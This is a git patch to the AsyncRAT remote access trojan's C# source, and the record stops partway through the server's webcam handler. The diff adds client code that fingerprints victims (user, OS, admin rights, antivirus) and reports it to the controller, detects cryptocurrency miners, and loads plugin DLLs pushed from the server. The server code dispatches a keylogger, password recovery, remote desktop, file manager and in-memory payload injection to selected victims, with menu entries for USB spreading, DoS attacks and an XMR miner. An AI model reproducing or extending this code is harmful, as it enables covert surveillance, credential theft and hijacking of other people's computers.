From 78c6cc75b2ce266db066806bd72ef10de315d16f Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 6 Oct 2019 11:02:41 +0300 Subject: [PATCH] Update --- AsyncRAT-C#/Client/Client.csproj | 4 + AsyncRAT-C#/Client/Connection/ClientSocket.cs | 4 +- AsyncRAT-C#/Client/Handle Packet/Packet.cs | 2 +- AsyncRAT-C#/Client/Helper/CheckMiner.cs | 41 + AsyncRAT-C#/Client/Helper/HwidGen.cs | 37 + AsyncRAT-C#/Client/Helper/IdSender.cs | 34 + AsyncRAT-C#/Client/Helper/Methods.cs | 77 +- AsyncRAT-C#/Client/Helper/MutexControl.cs | 26 + AsyncRAT-C#/Client/Program.cs | 4 +- AsyncRAT-C#/Client/Settings.cs | 6 +- AsyncRAT-C#/Server/Forms/Form1.Designer.cs | 28 +- AsyncRAT-C#/Server/Forms/Form1.cs | 2147 ++++++++--------- AsyncRAT-C#/Server/Settings.cs | 2 +- 13 files changed, 1242 insertions(+), 1170 deletions(-) create mode 100644 AsyncRAT-C#/Client/Helper/CheckMiner.cs create mode 100644 AsyncRAT-C#/Client/Helper/HwidGen.cs create mode 100644 AsyncRAT-C#/Client/Helper/IdSender.cs create mode 100644 AsyncRAT-C#/Client/Helper/MutexControl.cs diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 35858a5..b03e7c1 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -77,7 +77,11 @@ + + + + diff --git a/AsyncRAT-C#/Client/Connection/ClientSocket.cs b/AsyncRAT-C#/Client/Connection/ClientSocket.cs index f18b807..427b52f 100644 --- a/AsyncRAT-C#/Client/Connection/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -88,7 +88,7 @@ namespace Client.Connection SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4]; MS = new MemoryStream(); - Send(Methods.SendInfo()); + Send(IdSender.SendInfo()); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } @@ -239,7 +239,7 @@ namespace Client.Connection { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)Methods.TheCPUCounter.NextValue()}% RAM {(int)Methods.TheMemCounter.NextValue()}%"; + msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%"; Send(msgpack.Encode2Bytes()); GC.Collect(); } diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index 91cf431..a342ef6 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -37,7 +37,7 @@ namespace Client.Handle_Packet Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString))))); Type type = assembly.GetType("Plugin.Plugin"); dynamic instance = Activator.CreateInstance(type); - instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), Methods._appMutex, Settings.MTX, Settings.BDOS, Settings.Install); + instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install); break; } diff --git a/AsyncRAT-C#/Client/Helper/CheckMiner.cs b/AsyncRAT-C#/Client/Helper/CheckMiner.cs new file mode 100644 index 0000000..6eeb47b --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/CheckMiner.cs @@ -0,0 +1,41 @@ +using System.Diagnostics; +using System.Linq; +using System.Management; + +namespace Client.Helper +{ + class CheckMiner + { + public string GetProcess() + { + foreach (var process in Process.GetProcesses()) + { + try + { + if (GetCommandLine(process).ToLower().Contains("--donate-level=")) + { + SetRegistry.SetValue(Settings.Hwid, "1"); + return "1"; + } + } + catch { } + } + SetRegistry.SetValue(Settings.Hwid, "0"); + return "0"; + } + + public string GetCommandLine(Process process) + { + try + { + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT CommandLine FROM Win32_Process WHERE ProcessId = " + process.Id)) + using (ManagementObjectCollection objects = searcher.Get()) + { + return objects.Cast().SingleOrDefault()?["CommandLine"]?.ToString(); + } + } + catch { } + return ""; + } + } +} diff --git a/AsyncRAT-C#/Client/Helper/HwidGen.cs b/AsyncRAT-C#/Client/Helper/HwidGen.cs new file mode 100644 index 0000000..926c0c6 --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/HwidGen.cs @@ -0,0 +1,37 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; + +namespace Client.Helper +{ + public static class HwidGen + { + public static string HWID() + { + try + { + return GetHash(string.Concat(Environment.ProcessorCount, Environment.UserName, + Environment.MachineName, Environment.OSVersion + , new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize)); + } + catch + { + return "Err HWID"; + } + } + + public static string GetHash(string strToHash) + { + MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); + byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); + bytesToHash = md5Obj.ComputeHash(bytesToHash); + StringBuilder strResult = new StringBuilder(); + foreach (byte b in bytesToHash) + strResult.Append(b.ToString("x2")); + return strResult.ToString().Substring(0, 20).ToUpper(); + } + } +} diff --git a/AsyncRAT-C#/Client/Helper/IdSender.cs b/AsyncRAT-C#/Client/Helper/IdSender.cs new file mode 100644 index 0000000..9df4445 --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/IdSender.cs @@ -0,0 +1,34 @@ +using Client.MessagePack; +using Microsoft.VisualBasic.Devices; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Text; + +namespace Client.Helper +{ + public class IdSender + { + public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); + public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); + + public static byte[] SendInfo() + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; + msgpack.ForcePathObject("HWID").AsString = Settings.Hwid; + msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); + msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); + msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; + msgpack.ForcePathObject("Version").AsString = Settings.Version; + msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User"); + TheCPUCounter.NextValue(); + msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; + msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin; + msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus(); + return msgpack.Encode2Bytes(); + } + } +} diff --git a/AsyncRAT-C#/Client/Helper/Methods.cs b/AsyncRAT-C#/Client/Helper/Methods.cs index a1165b8..8ca507b 100644 --- a/AsyncRAT-C#/Client/Helper/Methods.cs +++ b/AsyncRAT-C#/Client/Helper/Methods.cs @@ -1,68 +1,15 @@ -using Client.MessagePack; -using Client.Connection; -using Microsoft.VisualBasic.Devices; +using Client.Connection; using System; using System.Collections.Generic; -using System.Diagnostics; -using System.IO; using System.Management; -using System.Net.Sockets; -using System.Security.Cryptography; using System.Security.Principal; -using System.Text; -using System.Threading; using System.Drawing.Imaging; using System.Runtime.InteropServices; -using System.Linq; namespace Client.Helper { static class Methods - { - public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); - public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); - - public static string HWID() - { - try - { - return GetHash(string.Concat(Environment.ProcessorCount, Environment.UserName, - Environment.MachineName, Environment.OSVersion - , new DriveInfo(Path.GetPathRoot(Environment.SystemDirectory)).TotalSize)); - } - catch - { - return "Err HWID"; - } - } - - public static string GetHash(string strToHash) - { - MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); - byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); - bytesToHash = md5Obj.ComputeHash(bytesToHash); - StringBuilder strResult = new StringBuilder(); - foreach (byte b in bytesToHash) - strResult.Append(b.ToString("x2")); - return strResult.ToString().Substring(0, 20).ToUpper(); - } - - public static Mutex _appMutex; - public static bool CreateMutex() - { - bool createdNew; - _appMutex = new Mutex(false, Settings.MTX, out createdNew); - return createdNew; - } - public static void CloseMutex() - { - if (_appMutex != null) - { - _appMutex.Close(); - _appMutex = null; - } - } - + { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); @@ -73,7 +20,7 @@ namespace Client.Helper { if (Convert.ToBoolean(Settings.BDOS) && IsAdmin()) ProcessCritical.Exit(); - CloseMutex(); + MutexControl.CloseMutex(); ClientSocket.SslClient?.Close(); ClientSocket.TcpClient?.Close(); } @@ -101,24 +48,6 @@ namespace Client.Helper } } - public static byte[] SendInfo() - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; - msgpack.ForcePathObject("HWID").AsString = Settings.Hwid; - msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); - msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + - Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); - msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; - msgpack.ForcePathObject("Version").AsString = Settings.Version; - msgpack.ForcePathObject("Admin").AsString = IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User"); - TheCPUCounter.NextValue(); - msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; - msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin; - msgpack.ForcePathObject("Antivirus").AsString = Antivirus(); - return msgpack.Encode2Bytes(); - } - public static ImageCodecInfo GetEncoder(ImageFormat format) { ImageCodecInfo[] codecs = ImageCodecInfo.GetImageDecoders(); diff --git a/AsyncRAT-C#/Client/Helper/MutexControl.cs b/AsyncRAT-C#/Client/Helper/MutexControl.cs new file mode 100644 index 0000000..ff442e7 --- /dev/null +++ b/AsyncRAT-C#/Client/Helper/MutexControl.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading; + +namespace Client.Helper +{ + public static class MutexControl + { + public static Mutex currentApp; + public static bool CreateMutex() + { + currentApp = new Mutex(false, Settings.MTX, out bool createdNew); + return createdNew; + } + public static void CloseMutex() + { + if (currentApp != null) + { + currentApp.Close(); + currentApp = null; + } + } + } +} diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 64c33d4..d2d6e5f 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -23,7 +23,7 @@ namespace Client try { - if (!Methods.CreateMutex()) + if (!MutexControl.CreateMutex()) Environment.Exit(0); if (Convert.ToBoolean(Settings.Anti)) @@ -36,6 +36,8 @@ namespace Client ProcessCritical.Set(); Methods.PreventSleep(); + + new CheckMiner().GetProcess(); } catch { } diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 5ea4c0a..e8db174 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -13,7 +13,7 @@ namespace Client #if DEBUG public static string Ports = "6606"; public static string Hosts = "127.0.0.1"; - public static string Version = "0.5.4"; + public static string Version = "0.5.4D"; public static string Install = "false"; public static string InstallFolder = "AppData"; public static string InstallFile = "Test.exe"; @@ -26,7 +26,7 @@ namespace Client public static Aes256 aes256 = new Aes256(Key); public static string Pastebin = "null"; public static string BDOS = "false"; - public static string Hwid = Methods.HWID(); + public static string Hwid = HwidGen.HWID(); #else public static string Ports = "%Ports%"; @@ -65,7 +65,7 @@ namespace Client Pastebin = aes256.Decrypt(Pastebin); Anti = aes256.Decrypt(Anti); BDOS = aes256.Decrypt(BDOS); - Hwid = Methods.HWID(); + Hwid = HwidGen.HWID(); Serversignature = aes256.Decrypt(Serversignature); ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate))); return VerifyHash(); diff --git a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs index e780df1..5a6a3a9 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -157,7 +157,7 @@ this.listView1.Name = "listView1"; this.listView1.ShowGroups = false; this.listView1.ShowItemToolTips = true; - this.listView1.Size = new System.Drawing.Size(1320, 440); + this.listView1.Size = new System.Drawing.Size(1354, 440); this.listView1.TabIndex = 0; this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.View = System.Windows.Forms.View.Details; @@ -371,7 +371,7 @@ // this.botsKillerToolStripMenuItem.Image = global::Server.Properties.Resources.botkiller; this.botsKillerToolStripMenuItem.Name = "botsKillerToolStripMenuItem"; - this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.botsKillerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.botsKillerToolStripMenuItem.Text = "Bots Killer"; this.botsKillerToolStripMenuItem.Click += new System.EventHandler(this.BotsKillerToolStripMenuItem_Click); // @@ -379,7 +379,7 @@ // this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; - this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); // @@ -387,7 +387,7 @@ // this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; - this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); // @@ -395,7 +395,7 @@ // this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; - this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); // @@ -403,7 +403,7 @@ // this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; - this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); // @@ -411,7 +411,7 @@ // this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; - this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); // @@ -422,14 +422,14 @@ this.killToolStripMenuItem}); this.xMRMinerToolStripMenuItem.Image = global::Server.Properties.Resources.xmr; this.xMRMinerToolStripMenuItem.Name = "xMRMinerToolStripMenuItem"; - this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.xMRMinerToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.xMRMinerToolStripMenuItem.Text = "XMR Miner"; // // runToolStripMenuItem // this.runToolStripMenuItem.Image = global::Server.Properties.Resources.tomem1; this.runToolStripMenuItem.Name = "runToolStripMenuItem"; - this.runToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.runToolStripMenuItem.Size = new System.Drawing.Size(152, 34); this.runToolStripMenuItem.Text = "Run"; this.runToolStripMenuItem.Click += new System.EventHandler(this.RunToolStripMenuItem_Click); // @@ -437,7 +437,7 @@ // this.killToolStripMenuItem.Image = global::Server.Properties.Resources.stop__1_; this.killToolStripMenuItem.Name = "killToolStripMenuItem"; - this.killToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.killToolStripMenuItem.Size = new System.Drawing.Size(152, 34); this.killToolStripMenuItem.Text = "Stop"; this.killToolStripMenuItem.Click += new System.EventHandler(this.KillToolStripMenuItem_Click); // @@ -620,7 +620,7 @@ this.toolStripStatusLabel2}); this.statusStrip1.Location = new System.Drawing.Point(0, 479); this.statusStrip1.Name = "statusStrip1"; - this.statusStrip1.Size = new System.Drawing.Size(1334, 32); + this.statusStrip1.Size = new System.Drawing.Size(1368, 32); this.statusStrip1.TabIndex = 1; this.statusStrip1.Text = "statusStrip1"; // @@ -659,7 +659,7 @@ this.tabControl1.Location = new System.Drawing.Point(0, 0); this.tabControl1.Name = "tabControl1"; this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(1334, 479); + this.tabControl1.Size = new System.Drawing.Size(1368, 479); this.tabControl1.SizeMode = System.Windows.Forms.TabSizeMode.Fixed; this.tabControl1.TabIndex = 2; // @@ -669,7 +669,7 @@ this.tabPage1.Location = new System.Drawing.Point(4, 29); this.tabPage1.Name = "tabPage1"; this.tabPage1.Padding = new System.Windows.Forms.Padding(3); - this.tabPage1.Size = new System.Drawing.Size(1326, 446); + this.tabPage1.Size = new System.Drawing.Size(1360, 446); this.tabPage1.TabIndex = 0; this.tabPage1.Text = "Clients"; // @@ -904,7 +904,7 @@ // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1334, 511); + this.ClientSize = new System.Drawing.Size(1368, 511); this.Controls.Add(this.tabControl1); this.Controls.Add(this.statusStrip1); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index 1963f3d..69ea3aa 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -11,7 +11,6 @@ using System.IO; using Server.Forms; using Server.Algorithm; using System.Diagnostics; -using System.Net.Sockets; using Server.Handle_Packet; using Server.Helper; using System.Security.Cryptography.X509Certificates; @@ -31,6 +30,11 @@ namespace Server public partial class Form1 : Form { + private Listener listener; + private bool trans; + private List getTasks = new List(); + private ListViewColumnSorter lvwColumnSorter; + public Form1() { InitializeComponent(); @@ -43,12 +47,6 @@ namespace Server }; } - private Listener listener; - private bool trans; - private List getTasks = new List(); - private ListViewColumnSorter lvwColumnSorter; - - #region Form Helper private void CheckFiles() { @@ -133,7 +131,6 @@ namespace Server #endregion - #region Form Events private async void Form1_Load(object sender, EventArgs e) { @@ -234,11 +231,24 @@ namespace Server this.listView1.Sort(); } + private void ToolStripStatusLabel2_Click(object sender, EventArgs e) + { + if (Properties.Settings.Default.Notification == true) + { + Properties.Settings.Default.Notification = false; + toolStripStatusLabel2.ForeColor = Color.Black; + } + else + { + Properties.Settings.Default.Notification = true; + toolStripStatusLabel2.ForeColor = Color.Green; + } + Properties.Settings.Default.Save(); + } #endregion - - #region Timers + #region MainTimers private void ping_Tick(object sender, EventArgs e) { if (listView1.Items.Count > 0) @@ -261,23 +271,970 @@ namespace Server toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%"; } - private void GetThumbnails_Tick(object sender, EventArgs e) + #endregion + + #region Client + + + #region Send File + private void TOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + FormSendFileToMemory formSend = new FormSendFileToMemory(); + formSend.ShowDialog(); + if (formSend.IsOK) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendMemory"; + packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()))); + if (formSend.comboBox1.SelectedIndex == 0) + { + packet.ForcePathObject("Inject").AsString = ""; + } + else + { + packet.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; + } + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + client.LV.ForeColor = Color.Red; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + formSend.Close(); + formSend.Dispose(); + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private async void TODISKToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Multiselect = true; + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "sendFile"; + packet.ForcePathObject("Update").AsString = "false"; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll")); + + foreach (Clients client in GetSelectedClients()) + { + client.LV.ForeColor = Color.Red; + foreach (string file in openFileDialog.FileNames) + { + await Task.Run(() => + { + packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(file))); + packet.ForcePathObject("Extension").AsString = Path.GetExtension(file); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + }); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + #endregion + + #region Monitoring + + private void RemoteDesktopToolStripMenuItem1_Click(object sender, EventArgs e) { try { MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "thumbnails"; - foreach (Clients client in GetAllClients()) + //DLL Plugin + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\RemoteDesktop.dll")); + foreach (Clients client in GetSelectedClients()) + { + FormRemoteDesktop remoteDesktop = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + client.ID]; + if (remoteDesktop == null) + { + remoteDesktop = new FormRemoteDesktop + { + Name = "RemoteDesktop:" + client.ID, + F = this, + Text = "RemoteDesktop:" + client.ID, + ParentClient = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") + }; + remoteDesktop.Show(); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void KeyloggerToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\LimeLogger.dll")); + + foreach (Clients client in GetSelectedClients()) + { + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; + if (KL == null) + { + KL = new FormKeylogger + { + Name = "keyLogger:" + client.ID, + Text = "keyLogger:" + client.ID, + F = this, + }; + KL.Show(); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void FileManagerToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\FileManager.dll")); + + foreach (Clients client in GetSelectedClients()) + { + FormFileManager fileManager = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (fileManager == null) + { + fileManager = new FormFileManager + { + Name = "fileManager:" + client.ID, + Text = "fileManager:" + client.ID, + F = this, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID) + }; + fileManager.Show(); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Recovery.dll")); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black); + tabControl1.SelectedIndex = 1; + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void ProcessManagerToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\ProcessManager.dll")); + + foreach (Clients client in GetSelectedClients()) + { + FormProcessManager processManager = (FormProcessManager)Application.OpenForms["processManager:" + client.ID]; + if (processManager == null) + { + processManager = new FormProcessManager + { + Name = "processManager:" + client.ID, + Text = "processManager:" + client.ID, + F = this, + ParentClient = client + }; + processManager.Show(); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void RunToolStripMenuItem1_Click(object sender, EventArgs e) + { + try + { + string title = Interaction.InputBox("SEND A NOTIFICATION WHEN CLIENT OPEN A SPECIFIC WINDOW", "TITLE", "YouTube, Photoshop, Steam"); + if (string.IsNullOrEmpty(title)) + return; + else + { + lock (Settings.LockReportWindowClients) + { + Settings.ReportWindowClients.Clear(); + Settings.ReportWindowClients = new List(); + } + Settings.ReportWindow = true; + + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "reportWindow"; + packet.ForcePathObject("Option").AsString = "run"; + packet.ForcePathObject("Title").AsString = title; + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "plugin"; + msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Options.dll")); + msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes()); + + foreach (Clients client in GetSelectedClients()) + { + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void StopToolStripMenuItem2_Click(object sender, EventArgs e) + { + try + { + Settings.ReportWindow = false; + MsgPack packet = new MsgPack(); + packet.ForcePathObject("Packet").AsString = "reportWindow"; + packet.ForcePathObject("Option").AsString = "stop"; + lock (Settings.LockReportWindowClients) + foreach (Clients clients in Settings.ReportWindowClients) + { + ThreadPool.QueueUserWorkItem(clients.Send, packet.Encode2Bytes()); + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + return; + } + } + + private void WebcamToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + if (listView1.SelectedItems.Count > 0) + { + MsgPack msgpack 